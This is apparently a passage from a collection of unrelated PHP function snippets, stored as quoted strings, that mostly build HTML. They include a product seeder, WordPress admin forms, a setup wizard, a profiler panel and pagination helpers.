'title' => 'Targeta de Video para Computadora de 4GB',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'tarjeta-video',\n 'slot_image_1' => 'tarjeta-video.jpg'\n ]);\n\n Product::create([\n 'category_id' => 3,\n 'brand_id' => rand(1, 6),\n 'title' => 'Adaptador USB para SATA',\n 'short_description' => $short_description,\n 'large_description' => $description,\n 'amount' => rand(1, 999),\n 'unit' => rand(0, 5),\n 'slug' => 'adaptador-sata',\n 'slot_image_1' => 'adaptador-usb-sata.jpg'\n ]);\n }", "function multiPage($step,$buttonValue=\"Continue\"){\n\n\t\tif( $this->returnOutput ){ ob_start(); }\n\n\t\tif($step==\"start\" || $step==\"next\" || $step==\"end\")\n\t\t\techo \"<input type=\\\"hidden\\\" name=\\\"formitable_multipage\\\" value=\\\"$step\\\"/>\";\n\t\tif($step==\"end\" && $buttonValue==\"Continue\") $this->multiPageSubmitValue=\"Finish\";\n\t\telse $this->multiPageSubmitValue=$buttonValue;\n\n\t\tif( $this->returnOutput ){\n\t\t\t$html_block = ob_get_contents();\n\t\t\tob_end_clean();\n\t\t\treturn $html_block;\n\t\t}\n\n\t}", "function renderStep1() {\n\t\t$this->substituteOptionMarker('region');\n\t}", "public function render()\n {\n $fromListTree = array();\n $this->getFromListTree($fromListTree);\n $style = $this->getStyle();\n $func = $this->getFunction();\n $valueList = array(); $valueArray = array();\n $this->getFromList($valueList, $this->getSelectedList());\n foreach ($valueList as $vl) {\n $valueArray[] = $vl['val'];\n }\n $sHTML = \"<script>\n \t\t\t\tvar \".$this->m_Name.\"_optlist = new Array(); \n \t\t\t\tvar \".$this->m_Name.\"_optlist_default = new Array();\n \t\t\t</script>\";\n $sHTML .= \"<div name=\\\"\" . $this->m_Name . \"\\\" ID=\\\"\" . $this->m_Name .\"\\\" $this->m_HTMLAttr $style>\";\n\t\t$sHTML .= \"<ul>\";\n\t\t$i = 0;\n foreach ($fromListTree as $treeNode)\n {\n\n //$sHTML .= \"<input type=\\\"checkbox\\\" name=\\\"\".$this->m_Name.\"[]\\\" VALUE=\\\"\" . $option['val'] . \"\\\" $selectedStr></input>\" . $option['txt'] . \"<br/>\";\n $sHTML .= \"<li style=\\\"padding-top:10px;\\\">\".str_repeat(\"-&nbsp;-&nbsp;\", $treeNode[\"level\"]).\"<strong>\".$treeNode['txt'].\"</strong>\".\"</li>\";\n $sublist = array();\n $this->getDOFromList($sublist, $this->getSelectFrom().\",[folder_id]='\".$treeNode['id'].\"'\");\n foreach($sublist as $option){\n $test = array_search($option['val'], $valueArray);\n\t if ($test === false)\n\t {\n\t $selectedStr = '';\n\t }\n\t else\n\t {\n\t $selectedStr = \"CHECKED\";\n\t $sHTML .= \"<script>\".$this->m_Name.\"_optlist_default.push('\".$this->m_Name.\"_\".$i.\"'); </script>\";\n\t } \t\n \t$sHTML .= \"<li><label style=\\\"float:none;color:#888888;display:inline;\\\">\".str_repeat(\"-&nbsp;-&nbsp;\", $treeNode[\"level\"]).\"<input type=\\\"checkbox\\\" id=\\\"\".$this->m_Name.\"_\".$i.\"\\\" name=\\\"\".$this->m_Name.\"[]\\\" VALUE=\\\"\" . $option['val'] . \"\\\" $selectedStr></input>\" . $option['txt'] . \"</label></li>\";\n \t$sHTML .= \"<script>\".$this->m_Name.\"_optlist.push('\".$this->m_Name.\"_\".$i.\"'); </script>\";\n \t$i++;\n }\n \n }\n $sHTML .= \"</ul></div>\";\n return $sHTML;\n }", "public function generate_html_forms()\n\t{\n\t\t$return_str = '<div class=\"bwp-wrap bwp-option-page-wrapper\" style=\"padding-bottom: 20px;\">' . \"\\n\";\n\t\tif (sizeof($this->form_tabs) >= 2)\n\t\t\t$return_str .= apply_filters('bwp_admin_form_icon', '<div class=\"icon32\" id=\"icon-options-general\"><br></div>' . \"\\n\");\n\t\telse\n\t\t\t$return_str .= '<div class=\"icon32\" id=\"icon-options-general\"><br></div>';\t\t\t\n\t\t\n\t\tif (sizeof($this->form_tabs) >= 2)\n\t\t{\n\t\t\t$count = 0;\n\t\t\t$return_str .= '<h2 class=\"bwp-option-page-tabs\">' . \"\\n\";\n\t\t\t$return_str .= apply_filters('bwp_admin_plugin_version', '') . \"\\n\";\n\t\t\tforeach ($this->form_tabs as $title => $link)\n\t\t\t{\n\t\t\t\t$count++;\n\t\t\t\t$active = ($count == $this->current_tab) ? ' nav-tab-active' : '';\n\t\t\t\t$return_str .= '<a class=\"nav-tab' . $active . '\" href=\"' . $link . '\">' . $title . '</a>' . \"\\n\";\n\t\t\t}\n\t\t\t$return_str .= '</h2>' . \"\\n\";\n\t\t}\n\t\telse if (!isset($this->form_tabs[0]))\n\t\t{\n\t\t\t$title = array_keys($this->form_tabs);\n\t\t\t$return_str .= '<h2>' . $title[0] . '</h2>' . \"\\n\";\n\t\t}\n\t\telse\n\t\t\t$return_str .= '<h2>' . $this->form_tabs[0] . '</h2>' . \"\\n\";\n\n\t\t$return_str .= '<div class=\"bwp-option-box clear\">' . \"\\n\";\n\n\t\t// Begin generating each form\n\t\tforeach ($this->forms as $form)\n\t\t{\n\t\t\t// If this form has 'divider' items, we need to split HTML fields appropriately\n\t\t\t$dividers = (isset($form->form['divider']) && is_array($form->form['divider'])) ? array_keys($form->form['divider']) : array();\n\t\t\t$form_style = (!empty($form->style)) ? ' style=\"' . $form->style . '\" ' : '';\n\t\t\t$multi_form_style = (!empty($form->style) && 0 < sizeof($dividers)) ? ' style=\"' . $form->style . '\" ' : '';\n\n\t\t\tif (0 == sizeof($dividers))\n\t\t\t{\n\t\t\t\t$return_str .= '<div class=\"bwp-option-box-inside\"' . $form_style . '>' . \"\\n\";\n\t\t\t\t$return_str .= apply_filters('bwp_opf_before_form_' . $form->form_name, '');\n\t\t\t\techo $return_str;\n\t\t\t\tdo_action('bwp_opa_before_form_' . $form->form_name, $form->form_name);\n\t\t\t}\n\t\t\telse\n\t\t\t\techo $return_str;\n\n\t\t\t$enctype = (!empty($form->form_enctype)) ? ' enctype=\"' . $form->form_enctype . '\" ' : '';\n\t\t\t$return_str = '<form class=\"bwp-option-page\" name=\"' . $form->form_name . '\" method=\"post\" action=\"\"' . $enctype . $multi_form_style . '>' . \"\\n\";\n\n\t\t\t// Nonce\n\t\t\t$return_str .= wp_nonce_field($form->form_name, \"_wpnonce\", false, false) . \"\\n\";\n\t\t\t$return_str .= apply_filters('bwp_opf_referrer_field_' . $form->form_name, wp_referer_field(false)) . \"\\n\";\n\n\t\t\t$return_str .= '<ul>' . \"\\n\";\n\n\t\t\tif (isset($form->form_items) && is_array($form->form_items))\n\t\t\t{\n\t\t\t\t// If this form needs to be divided, so be it\n\t\t\t\tif (0 < sizeof($dividers))\n\t\t\t\t{\n\t\t\t\t\t$return_str .= '<div class=\"bwp-option-box-inside\">' . \"\\n\";\n\t\t\t\t\t$return_str .= apply_filters('bwp_opf_before_form_' . $form->form_name, '');\n\t\t\t\t\techo $return_str;\n\t\t\t\t\tdo_action('bwp_opa_before_form_' . $form->form_name, $form->form_name);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\techo $return_str;\n\t\t\t\t// Reset the result\n\t\t\t\t$return_str = '';\n\t\t\t\t// Generate individual items\n\t\t\t\t$form_count = 0;\n\t\t\t\tforeach ($form->form_items as $key => $type)\n\t\t\t\t{\n\t\t\t\t\tif (!empty($form->form_item_names[$key]) && isset($form->form_item_labels[$key]))\n\t\t\t\t\t{\n\t\t\t\t\t\t$extra_classes = ('heading' == $type) ? ' bwp-li-heading' : ' bwp-li-item';\n\t\t\t\t\t\t// Before the field\n\t\t\t\t\t\techo $return_str;\n\t\t\t\t\t\tdo_action('bwp_opa_before_field_' . $form->form_name . '_' . $form->form_item_names[$key], $form->form_name);\n\t\t\t\t\t\t$return_str = '';\n\t\t\t\t\t\t// The field\n\t\t\t\t\t\t$return_str .= ('hidden' != $form->form_items[$key]) ? '<li class=\"clear' . $extra_classes . '\">' . $form->generate_html_fields($type, $form->form_item_names[$key]) . '</li>' : $form->generate_html_fields($type, $form->form_item_names[$key]) . \"\\n\";\n\t\t\t\t\t\t// After the field\n\t\t\t\t\t\techo $return_str;\n\t\t\t\t\t\tdo_action('bwp_opa_after_field_' . $form->form_name . '_' . $form->form_item_names[$key], $form->form_name);\n\t\t\t\t\t\t$return_str = '';\n\t\t\t\t\t\tif (in_array($form->form_item_names[$key], $dividers))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$form_count++;\n\t\t\t\t\t\t\techo $return_str;\n\t\t\t\t\t\t\tdo_action('bwp_opa_after_divided_form_' . $form->form_name . '_' . $form_count, $form->form_name);\n\t\t\t\t\t\t\t$return_str = '';\n\t\t\t\t\t\t\t$return_str .= apply_filters('bwp_opf_multi_submit_button_' . $form->form_name, '<p class=\"submit\"><input type=\"submit\" class=\"button-primary\" name=\"save_' . $form->form_name . '\" value=\"' . __('Save All Changes', $this->domain) . '\" /> &nbsp;<input type=\"submit\" class=\"button-secondary\" name=\"reset_' . $form->form_name . '\" value=\"' . __('Reset to Defaults', $this->domain) . '\" /></p>', $form_count) . \"\\n\";\n\t\t\t\t\t\t\t$return_str .= '</div>' . \"\\n\";\n\t\t\t\t\t\t\t$return_str .= '<div class=\"bwp-option-box-inside\">' . \"\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// If this form needs to be divided, add the final Save all changes button\n\t\t\t\tif (0 < sizeof($dividers))\n\t\t\t\t\t$return_str .= apply_filters('bwp_opf_multi_submit_button_' . $form->form_name, '<p class=\"submit\"><input type=\"submit\" class=\"button-primary\" name=\"save_' . $form->form_name . '\" value=\"' . __('Save All Changes', $this->domain) . '\" /> &nbsp;<input type=\"submit\" class=\"button-secondary\" name=\"reset_' . $form->form_name . '\" value=\"' . __('Reset to Defaults', $this->domain) . '\" /></p>', 'last') . \"\\n\";\n\t\t\t}\n\n\t\t\t$return_str .= '</ul>' . \"\\n\";\t\t\n\t\t\t$return_str .= apply_filters('bwp_opf_before_submit_button_' . $form->form_name, '');\n\t\t\techo $return_str;\n\t\t\tdo_action('bwp_opa_before_submit_button_' . $form->form_name, $form->form_name);\n\n\t\t\t$submit = apply_filters('bwp_opf_submit_button_' . $form->form_name, '<p class=\"submit\"><input type=\"submit\" class=\"button-primary\" name=\"save_' . $form->form_name . '\" value=\"' . __('Save Changes', $this->domain) . '\" /> &nbsp;<input type=\"submit\" class=\"button-secondary\" name=\"reset_' . $form->form_name . '\" value=\"' . __('Reset to Defaults', $this->domain) . '\" /></p>') . \"\\n\";\n\t\t\t$return_str = apply_filters('bwp_op_submit_button', $submit) . \"\\n\";\n\t\t\t$return_str .= '</form>' . \"\\n\";\n\n\t\t\tif (0 == sizeof($dividers))\n\t\t\t\t$return_str .= '</div>' . \"\\n\";\n\t\t}\n\n\t\t$return_str .= '<div class=\"clear\"><!-- --></div>' . \"\\n\";\n\t\t$return_str .= '</div>' . \"\\n\";\n\t\t$return_str .= '</div>' . \"\\n\";\n\n\t\techo $return_str;\n\t}", "protected function _getHandleStepHtml($step)\n {\n if (!$this->_hasHandleStepHtml($step)) {\n return null;\n }\n\n if (in_array($step, $this->_stepsWithRequiredPayment)) {\n $this->getOnepage()->stubPaymentMethod();\n }\n\n $content = Mage::helper('ecomdev_checkitout/render')->renderStep($step);\n\n return $content;\n }", "public function story_list()\n\t{\n\t\t$data['page']='Story List';\n\t\t$data['stories_list']=$this->stories->get_all();\n\t\t$view = 'admin/stories/admin_stories_list_view';\n\t\techo Modules::run('template/admin_template', $view, $data);\t\n\t}", "public function toHtml() {\n\t\techo '<ol '.$this->getAttributes().'>'.$this->renderChildren().'</ol>';\n\t}", "function getHtmlStep2Form()\r\n\t{\r\n\t\treturn $this->getAdminTableHtml( 2 );\r\n\t}", "public function drawStartOptionsPanel()\r\n {\r\n echo '\r\n <div class=\"panel-body\">\r\n <ul class=\"list-group\">';\r\n }", "public function buildHTML() {\n $vars = array('page' => &$this);\n\n // Trigger various page hooks.\n // Page init.\n $this->env->hook('page_preload', $vars);\n\n // This is an AJAX request. Skip loading index.html and just provide requested content.\n if (isset($_REQUEST['ajax'])) {\n $this->html = NodeFactory::render($this->env);\n }\n // This is an actual HTML page request. Commonly index.html.\n elseif (!empty($this->getIndexFile())) {\n $this->html = file_get_contents($this->env->dir['docroot'] . '/' . $this->getIndexFile());\n }\n // In case of a special pre-loaded page request, i.e. Shadow node edit.\n elseif (!empty($this->getData('content'))) {\n $this->html = $this->getData('content');\n }\n elseif (!is_file($this->env->dir['docroot'] . '/' . $this->getIndexFile())) {\n $this->html = t('Hello! Quanta seems not installed (yet) in your system. Please follow the <a href=\"https://www.quanta.org/installation-instructions\">Installation Instructions</a><br /><br />Reason: file not found(' . $this->getIndexFile() . ')');\n }\n\n // Trigger various page hooks.\n // Page init.\n $this->env->hook('page_init', $vars);\n\n // Page's body classes. // TODO: deprecate, include in page init.\n $this->env->hook('body_classes', $vars);\n\n // Page after build.\n $this->env->hook('page_after_build', $vars);\n\n // Page complete.\n $this->env->hook('page_complete', $vars);\n\n }", "public function html()\n {\n return $this->builder()\n ->setTableId('employees-table')\n ->columns($this->getColumns())\n ->minifiedAjax()\n // ->dom('Blfrtip')\n ->lengthMenu([5, 10, 25, 50, 100])\n ->orderBy(0)\n ->buttons(\n Button::make('csv')->text(__('app.csv')),\n Button::make('excel')->text(__('app.excel')),\n Button::make('copy')->text(__('app.copy')),\n Button::make('pdf')->text(__('app.pdf')),\n Button::make('print')->text(__('app.print')),\n );\n }", "private function render_invalid_step() {\n\t\t?>\n\t\t<p><?php\n\t\tprintf(\n\t\t\t/* translators: 1 - an opening link tag, 2 - a closing link tag. */\n\t\t\tesc_html__( 'You have reached an invaild step - %1$sreturn to the start of the wizard%2$s.', 'wp-security-audit-log' ),\n\t\t\t'<a href=\"' . esc_url( $this->get_welcome_step() ) . '\">',\n\t\t\t'</a>'\n\t\t);\n\t\t?></p>\n\t\t<?php\n\t}", "protected function _hasHandleStepHtml($step)\n {\n return Mage::helper('ecomdev_checkitout/render')->hasStepHandle($step);\n }", "public function createPage()\n {\n echo $this->output;\n }", "public function run()\n {\n $this->createSection('complete room', 1);\n $this->createSection('complete room', 2);\n $this->createSection('complete room', 3);\n $this->createSection('double table',2);\n $this->createSection('single table',2);\n $this->createSection('single table',2);\n $this->createSection('single long table',2);\n $this->createSection('single high table',2);\n $this->createSection('virtual reality',3 );\n $this->createSection('double long table',3);\n }", "public function main()\n {\n // Produce browse-tree:\n $tree = $this->pagetree->getBrowsableTree();\n // Outputting page tree:\n $this->content .= $tree;\n\n $docHeaderButtons = $this->getButtons();\n\n $markers = array(\n 'IMG_RESET' => '',\n 'WORKSPACEINFO' => '',\n 'CONTENT' => $this->content,\n );\n\n // Build the <body> for the module\n $this->content = $this->doc->startPage(\n $this->getLanguageService()->sl(\n 'LLL:EXT:commerce/Resources/Private/Language/locallang_be.xml:mod_orders.navigation_title'\n )\n );\n\n $subparts = array();\n // Build the <body> for the module\n $this->content .= $this->doc->moduleBody(array(), $docHeaderButtons, $markers, $subparts);\n $this->content .= $this->doc->endPage();\n $this->content = $this->doc->insertStylesAndJS($this->content);\n }", "public function toHtml() {\n\t\techo '<pre '.$this->getAttributes().'>'.$this->renderChildren().'</pre>';\n\t}", "function get_html()\n\t{\n\n\t// incrase views\n\n\t}", "public function build_menu_page() {\n\n\t\t\t$tabindex = 0;\n\t\t\t$temp = array();\n\t\t\t$hidden = array();\n\t\t\t$this->data = get_option($this->slug.'_fields');\n\t\t\t\n\t\t\t$output = '';\n\t\t\t$output .= '<!-- wrap starts -->'.\"\\n\";\n\t\t\t$output .= \"\\t\".'<div class=\"wrap\">'.\"\\n\";\n\n\t\t\t$output .= '<h1>'.$this->options['title'].'</h1>'.\"\\n\";\n\n\t\t\t$output .= \"\\t\".'<form method=\"post\" action=\"'.$_SERVER['REQUEST_URI'].'\" enctype=\"multipart/form-data\">'.\"\\n\\n\";\n\n\t\t\tforeach ($this->data as $section => $fields) {\n\n\t\t\t\t$output .= \"\\t\".'<h2 class=\"title\" id=\"'.sanitize_title($section).'\">'.$section.'</h2>'.\"\\n\\n\";\n\n\t\t\t\t$output .= \"\\t\".'<table class=\"form-table theme-form-table\">'.\"\\n\";\n\t\t\t\t$output .= \"\\t\".'<tbody>'.\"\\n\";\n\n\t\t\t\tforeach ($fields as $id => $field) {\n\n\t\t\t\t\tif ($field['type'] != 'hidden') {\n\n\t\t\t\t\t\t$tabindex += 1;\n\t\t\t\t\t\t$temp += array($field['label'] => isset($field['value']) ? $field['value'] : '');\n\t\t\t\t\t\t$value = isset($_POST['updating']) ? Save::save_page($this->slug, $field) : Save::set_default_value($this->slug, $temp, $field);\n\n\t\t\t\t\t\t$description = (isset($field['description']) && !empty($field['description'])) ? '<span class=\"description\" id=\"'.Field::get_label_name($field['label']).'-info\">'.$field['description'].'</span>' : '';\n\t\t\t\t\t\t$toggle = (isset($field['description']) && !empty($field['description'])) ? '<a class=\"toggle\" data-toggle=\"form-description\" data-target=\"'.Field::get_label_name($field['label']).'-info\" title=\"'.__('Show info.', 'admin translation').'\">'.__('[+] Info', 'admin translation').'</a>' : '';\n\n\t\t\t\t\t\t$output .= \"\\t\".'<tr valign=\"top\">'.\"\\n\";\n\t\t\t\t\t\t$output .= \"\\t\".'<th class=\"scope-one\" scope=\"row\"><label'.Field::get_label_error($field['label']).' for=\"'.Field::get_label_name($field['label']).'\">'.$field['name'].' <cite></cite></label></th>'.\"\\n\";\n\t\t\t\t\t\t$output .= \"\\t\".'<td class=\"scope-two\">'.Field::get_field($this->slug, $field, $value).'<div class=\"field-info\">'.$description.'</div></td>'.\"\\n\";\n\t\t\t\t\t\t$output .= \"\\t\".'<td class=\"scope-three\">'.$toggle.'</td>'.\"\\n\";\n\t\t\t\t\t\t$output .= \"\\t\".'<td>&nbsp;</td>'.\"\\n\";\n\t\t\t\t\t\t$output .= \"\\t\".'</tr>'.\"\\n\";\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\n\t\t\t\t\t\tarray_push($hidden, $field);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t\t\t$output .= \"\\t\".'</tbody>'.\"\\n\";\n\t\t\t\t$output .= \"\\t\".'</table>'.\"\\n\\n\";\n\t\t\t\t$output .= \"\\t\".'<hr />'.\"\\n\\n\";\n\t\t\t}\n\n\t\t\t$output .= isset($_REQUEST['page']) ? \"\\t\".wp_nonce_field($_REQUEST['page']).\"\\n\" : '';\n\n\t\t\tforeach ($hidden as $id => $field) {\n\n\t\t\t\t$temp += array($field['label'] => isset($field['value']) ? $field['value'] : '');\n\t\t\t\t$value = isset($_POST['updating']) ? Save::save_page($this->slug, $field) : Save::set_default_value($this->slug, $temp, $field);\n\t\t\t\t\n\t\t\t\t$output .= Field::get_field($this->slug, $field, $value);\n\t\t\t}\n\t\t\t\n\t\t\t$output .= \"\\t\".'<input type=\"hidden\" id=\"updating\" name=\"updating\" value=\"1\" />'.\"\\n\";\n\t\t\t$output .= \"\\t\".'<p class=\"submit\"><input type=\"submit\" name=\"submit\" id=\"submit\" class=\"button button-primary\" value=\"'.__('Save Changes', 'admin translation').'\" /></p>'.\"\\n\";\n\t\t\t$output .= \"\\t\".'</form>'.\"\\n\";\n\n\t\t\t$output .= \"\\t\".'</div>'.\"\\n\";\n\t\t\t$output .= '<!-- wrap ends -->'.\"\\n\\n\";\n\n\t\t\t$output .= Field::get_form_feedback();\n\t\t\t\n\t\t\tValidation::reset_error();\n\n\t\t\techo $output;\n\t\t}", "function prepare_html(){\n generate_html_head();\n Tests::run_tests($GLOBALS['directory_path']);\n generate_html_tail();\n}", "public function setup_wizard() {\n\t\t\tif ( empty( $_GET['page'] ) || $this->page_slug !== $_GET['page'] ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tob_end_clean();\n\n\t\t\t$this->step = isset( $_GET['step'] ) ? sanitize_key( $_GET['step'] ) : current( array_keys( $this->steps ) );\n\n\t\t\twp_register_script( 'jquery-blockui', $this->plugin_url . 'js/jquery.blockUI.js', array( 'jquery' ), '2.70', true );\n\t\t\twp_register_script( 'envato-setup', $this->plugin_url . 'js/envato-setup.js', array(\n\t\t\t\t'jquery',\n\t\t\t\t'jquery-blockui',\n\t\t\t), $this->version );\n\t\t\twp_localize_script( 'envato-setup', 'envato_setup_params', array(\n\t\t\t\t'tgm_plugin_nonce' => array(\n\t\t\t\t\t'update' => wp_create_nonce( 'tgmpa-update' ),\n\t\t\t\t\t'install' => wp_create_nonce( 'tgmpa-install' ),\n\t\t\t\t),\n\t\t\t\t'tgm_bulk_url' => admin_url( $this->tgmpa_url ),\n\t\t\t\t'ajaxurl' => admin_url( 'admin-ajax.php' ),\n\t\t\t\t'wpnonce' => wp_create_nonce( 'envato_setup_nonce' ),\n\t\t\t\t'verify_text' => esc_html__( '...verifying', 'dfd-native' ),\n\t\t\t) );\n\n\t\t\t//wp_enqueue_style( 'envato_wizard_admin_styles', $this->plugin_url . '/css/admin.css', array(), $this->version );\n\t\t\twp_enqueue_style( 'envato-setup', $this->plugin_url . 'css/envato-setup.css', array(\n\t\t\t\t'wp-admin',\n\t\t\t\t'dashicons',\n\t\t\t\t'install',\n\t\t\t), $this->version );\n\n\t\t\t//enqueue style for admin notices\n\t\t\twp_enqueue_style( 'wp-admin' );\n\n\t\t\twp_enqueue_media();\n\t\t\twp_enqueue_script( 'media' );\n\n\t\t\tob_start();\n\t\t\t$this->setup_wizard_header();\n\t\t\t$this->setup_wizard_steps();\n\t\t\t$show_content = true;\n\t\t\techo '<div class=\"envato-setup-content\">';\n\t\t\techo '<span class=\"shadow shadow-first\"></span>';\n\t\t\techo '<span class=\"shadow shadow-second\"></span>';\n\t\t\tif ( ! empty( $_REQUEST['save_step'] ) && isset( $this->steps[ $this->step ]['handler'] ) ) {\n\t\t\t\t$show_content = call_user_func( $this->steps[ $this->step ]['handler'] );\n\t\t\t}\n\t\t\tif ( $show_content ) {\n\t\t\t\t$this->setup_wizard_content();\n\t\t\t}\n\t\t\techo '</div>';\n\t\t\t$this->setup_wizard_footer();\n\t\t\texit;\n\t\t}", "public function getPanelContent()\n {\n $types = array('previous' => 'previous sessions', 'current' => \"current session\");\n\n $html = '';\n foreach(XHProfRunPool::getRunsByNamespace(true) as $namespace => $allRuns)\n {\n $html .= sprintf('<h2>Namespace : %s<a href=\"#\" onclick=\"sfWebDebugToggle(\\'pmsipilotWebDebugXHProf-%s\\'); return false;\"><img src=\"'.$this->webDebug->getOption('image_root_path').'/toggle.gif\"/></a></h2>', $namespace, md5($namespace));\n $html .= sprintf('<div id=\"pmsipilotWebDebugXHProf-%s\" style=\"display: none;\">', md5($namespace));\n\n foreach($allRuns as $type => $runs)\n {\n $links = array();\n $html .= sprintf(\"<h3>Runs from %s</h3>\", $types[$type]);\n foreach($runs as $run)\n {\n $links[] = sprintf('<input type=\"checkbox\" name=\"runs-%s\" id=\"run-%s\"><a href=\"%s\" target=\"_blank\">Run %s (%s)</a>', md5($namespace), $run->getId(), $run->getUrl(), $run->getId(), date('Y-m-d H:i:s', $run->getDate()));\n }\n if(count($links))\n {\n $html .= sprintf('<ol style=\"margin-left: 0px; list-style-type: none;\" class=\"runs-container-%s\"><li>%s</li></ol>', md5($namespace), implode('</li><li>', $links));\n }\n else\n {\n $html .= \"No run\";\n }\n }\n $html .= sprintf('<input type=\"button\" id=\"runs-%s\" value=\"Compare\" onclick=\"xhprofCompare(this, \\'%s\\', \\'%s\\')\">', md5($namespace), md5($namespace), addslashes($namespace));\n $html .= '</div>';\n }\n \n sfContext::getInstance()->getConfiguration()->loadHelpers('Asset');\n $baseUrl = _compute_public_path('index.php', 'elXHProfPlugin', 'php');\n $html .=<<<EOF\n<script type=\"text/javascript\">\nfunction xhprofCompare(button, namespaceId, namespace) {\n var groupId = button.id;\n var groupNamespace = button.id.split('-')[1];\n \n var checkedElements = [];\n var runContainers = sfWebDebugGetElementsByClassName('runs-container-'+namespaceId);\n for(var i = 0; i<runContainers.length; i++)\n {\n var runCheckboxes = runContainers[i].getElementsByTagName('input');\n for(var j = 0; j<runCheckboxes.length; j++)\n {\n if(runCheckboxes[j].checked)\n {\n checkedElements.push(runCheckboxes[j]);\n }\n }\n }\n \n if(checkedElements.length==2) {\n var run1 = checkedElements[1].id.split('-')[1];\n var run2 = checkedElements[0].id.split('-')[1];\n window.open(\"$baseUrl?run1=\"+run1+\"&run2=\"+run2+\"&source=\"+namespace);\n }\n else\n {\n alert(\"We can only compare 2 runs.\");\n }\n}\n</script>\nEOF;\n \n return $html;\n }", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function getHtml(){\n // it will also have the button and pagination\n //combo box to show a number of records per npage\n $html = '\n <div>' .\n 'Total Pages: '. $this->totalPages.\n ' ------ Total Number of Rows: '. $this->totalRow.\n ' ------ Current Page: '. $this->currentPage.\n ' ------ Current Viewing Page: '. $this->minPageNum .' - '. $this->maxPageNum.\n '</br></br>';\n\n $html .= $this->getTable();\n if ($this->currentPage > 1){\n $html .= \"<a href='?page={$this->prevPage}'><button>Prev</button></a> &nbsp; &nbsp;\";\n }\n if ($this->currentPage < $this->totalPages){\n // $html .= '<a href=\\\"?pa÷ge='. $this->currentPage + 1 .'\\\"><button>Next</button></a> &nbsp; &nbsp;';\n $html .= \"<a href='?page={$this->nextPage}'><button>Next</button></a> &nbsp; &nbsp;\";\n }\n $html .= '\n <a href=\"?file=csv\">\n <button type=\"button\" onclick=\"downloadCSV()\"> Download CSV </button>\n </a>\n\n <a href=\"?file=pdf&page='.$this->currentPage.'\">\n <button type=\"button\" onclick=\"downloadPDF()\"> Download PDF </button>\n </a>\n\n </div>';\n return $html;\n }", "function abl_droploader_image_ui($event, $step) {\n $content = '<div class=\"abl-droploader-file-uploader\">\n <a id=\"abl-droploader-open\" class=\"abl-droploader-open txp-button\" href=\"#\" title=\"' . gTxt('abl_droploader_open_title') . '\">' . gTxt('abl_droploader_open') . '</a>\n </div>';\n return $content.n;\n }", "public function execute()\n\t{\n\t\t$isAjax = $this->getRequest()->isAjax();\n\t\tif ($isAjax){\n\t\t\t$layout = $this->_layout;\n\t\t\t$layout->getUpdate()->load(['listingtabs_index_ajax']);\n\t\t\t$layout->generateXml();\n $output = $layout->getOutput();\n $this->getResponse()->setHeader('Content-type', 'application/json');\n\t\t\tdie($this->jsonEncoder->encode(array('items_markup' => $output)));\n }\n\t\t$resultPage = $this->resultPageFactory->create();\n\t\t$resultPage->getConfig()->getTitle()->prepend(__('SM Listing Tabs'));\n\t\treturn $resultPage;\n\t}", "public function getHtmlTemplate() {}", "public function displayCreateTabStepsForm($recipe)\r\n { \r\n //Steps is an array of objects Step\r\n $steps = $recipe->getAllSteps(); \r\n $this->context->smarty->assign(\r\n array(\r\n 'recipe' => $recipe,\r\n 'steps' => $steps \r\n )\r\n ); \r\n $tpl = $this->context->smarty->fetch(_PS_MODULE_DIR_ . 'massivo/views/templates/admin/helpers/displayCreateTabStepsForm.tpl'); \r\n return $tpl;\r\n }", "public function getOutputHTML()\n\t{\n\t\t$startRecord=0;\t\t# for the first page\t\n\n\t\t# loop through pages and build the link for each\n\t\tfor($pageNum=0;$pageNum<$this->totalPages;$pageNum++)\n\t\t{\n\t\t # add the pageNum and corresponding startRecord to array to be use for creating prev and next link\n\t\t $this->startRecordArr[$pageNum+1]=$startRecord;\n\n\t\t\t# create the link for the page\n\t\t\t$this->outputHTML.=$this->createLink($pageNum,$startRecord);\n\t\t\t\n\t\t\t#each iteration needs to increment the startRecord by the numbe rof records per page\n\t\t\t$startRecord+=$this->recordsPerPage;\n\t\t}\n\n # create the previous and next page links\n $this->prevPageHTML.=$this->createPrevPageLink($this->activePage);\n $this->nextPageHTML.=$this->createNextPageLink($this->activePage);\n\n # append the three navigation link strings\n $this->outputHTML=$this->prevPageHTML.$this->outputHTML.$this->nextPageHTML;\n\n return $this->outputHTML;\n\t}", "public function GetAdminHTML(){\n\t/*unset($this->url[0]);\n\t\t\t$cnt=1;\n\t\t\tforeach($this->url as $v){\n\t\t\t\tif(count($this->url)==$cnt && $v>0 && is_numeric($v)){\n\t\t\t\t//$this->out_url.=$v.'/';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t$this->out_url.=$v.'/';\n\t\t\t$cnt++;\n\t\t\t}*/\n\t\n\t\t\n\t\n\t$next=$this->list['current']+1;\n\t$prev=$this->list['current']-1;\n\t$limit=($this->page-1)*$this->take+1;\n\t$limit2=$limit+$this->take-1;\n\t\n\tif ($this->page==$this->total_pages)\n\t$limit2=$this->total;\n\t$str='';\n\t$str .=\"\";\n\t\n\n\t$str .=<<<OUT\n\t\t\t<div class=\"pagination\">\n\t\t \t<ul class=\"pag_list\">\nOUT;\n\tif($prev>0){\n\t$str .=<<<OUT\n\t\t\t<li class=\"prev\"><a href=\"{$this->out_url}{$prev}/\"><i class=\"i\"></i></a></li>\nOUT;\n\t}\n \n\tfor ($i=1; $i < $this->page ; $i++)\n\t\t{\n\t\t\tif ($i>((int)$this->page-(int)$this->half_block)){\n\t\t\t\tif($i==1){\n\t\t\t\t$str .=<<<OUT\n\t\t\t\t<li><a href=\"{$this->out_url}{$this->list[$i]}/\">{$this->list[$i]}</a></li>\nOUT;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t$str .=<<<OUT\n\t\t\t\t<li><a 